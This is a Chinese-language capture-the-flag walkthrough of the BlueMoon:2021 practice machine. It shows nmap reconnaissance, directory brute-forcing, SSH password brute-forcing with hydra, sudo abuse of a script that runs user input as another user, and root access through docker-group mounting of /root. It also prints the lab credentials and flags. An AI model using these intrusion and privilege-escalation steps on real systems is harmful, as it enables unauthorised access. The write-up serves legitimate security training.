总体攻击流程
信息收集
IP探测
使用nmap探测存活主机
nmap -sP
192.168.5.0/24
发现靶机地址:192.168.5.177
端口探测
使用nmap探测开放端口
nmap -A -sV 192.168.5.177
发现开放端口:21
、22
、80
21
端口运行着vsftp,版本号是3.0.3,无漏洞,且禁止了匿名登录。
22
端口运行了openssh,版本号是7.9p1,无漏洞。
80
端口运行了apache,版本号是2.4.38,
GetShell
WEB
首页
通过以上信息可利用的只有80
端口。
用浏览器进行访问
查看源码
<!doctype html>
<html>
<head>
<title>BlueMoon:2021</title>
<link rel="icon" href=".blue.jpg" type="image/icon type">
</head>
<body>
<div>
<h1>" -- Welcome -- "</h1><br>
<p><b>Are You Ready To Play With Me .....!</b></p>
<br>
<p style="text-align:center;"><img src=".starts.jpeg" alt="Target" style="width:600px;height:400px;"></p>
</div>
</body>
</html>
无有效信息。
目录爆破
使用dirb
进行目录探测
无可用目录,更换字典,使用Seclists里的目录字典,下载地址:https://github.com/danielmiessler/SecLists
dirsearch -e* -w /home/kali/Documents/directory-list-2.3-big.txt -u http://192.168.5.177/
发现新的目录hidden_text,使用浏览器访问
看到有个链接,点击后,出现了二维码
下载后使用zbarimg
进行识别(zbar的安装方法为:apt install zbar-tools
)
发现了用户名和密码,推断为ftp的信息
FTP
使用以上用户名和密码登录ftp
登录成功。查看ftp目录下文件
发现两个文件,information.txt
和p_lists.txt
,使用get方法下载。
退出ftp,并查看两个文件
可以看到information.txt
文件中告诉了我们用户名为robin
。p_lists
为一个密码本。我们使用hydra
进行爆破。
hydra 10.0.2.7 -l robin -P ./p_lists.txt ssh
我们得到了robin
的密码:k4rv3ndh4nh4ck3r
SSH Shell
使用robin
为用户名k4rv3ndh4nh4ck3r
为密码进行ssh登录
我们得到了低权限用户robin
的shell
查看user1.txt
,得到第一个flag
==> Fl4g{u5er1r34ch3d5ucc355fully}
查看用户
发现另一个账户jerry
,我们需要先提权到jerry
用户
提权
jerry
查看sudo -l
发现可以不使用密码以jerry
用户运行/home/robin/project/feedback.sh
脚本
查看该脚本
发现在第二次输入时,会将我们输入的内容赋值给feedback
,然后执行变量feedback
,也就是说feedback
这个变量是我们可控的,当我们以jerry
身份运行时这个脚本时,会以jerry
用户身份运行feedback
这个变量。我们可以将/bin/bash
赋值给feedback
这个变量,这样我们就能得到jerry
的shell了
sudo -u jerry ./feedback.sh
![feedback sh](.\img\feedback sh.png)
查看`jerry`家目录下的`user2.txt`即可得到第二个flag
![jerry flag](.\img\jerry flag.png)
## root
使用Python获得交互shell
```python
python -c 'import pty;pty.spawn("/bin/bash")'
查看系统进程
发现以root
用户运行了docker。而jerry
在docker组中,这样我们就可以借用docker,将靶机上的目录挂载到容器中,这样我们就能访问受限目录了。
查看docker 镜像
发现有个一镜像alpine
。我们就借助这个镜像来挂载/root
目录
docker run -it -v /root:/mnt/123 alpine /bin
这样我们就将靶机的/root
目录挂载到窗口中的/mnt/123
中了。
以上命令运行后,我们就进入了容器
查看当前用户
为容器的root
用户
再查看/mnt/123
目录
可以看到,我们已经访问到了靶机的/root
目录了。
查看root.txt
即可得到最终
==> Congratulations <==
You Reached Root...!
Root-Flag
Fl4g{r00t-H4ckTh3P14n3t0nc34g41n}
Created By
Kirthik - Karvendhan
instagram = ____kirthik____
!......Bye See You Again......!
点击数:177
请问zbar工具怎么下载的 他显示无法定位软件包
在root下安装试试:
sudo apt update
sudo apt install zbar-tools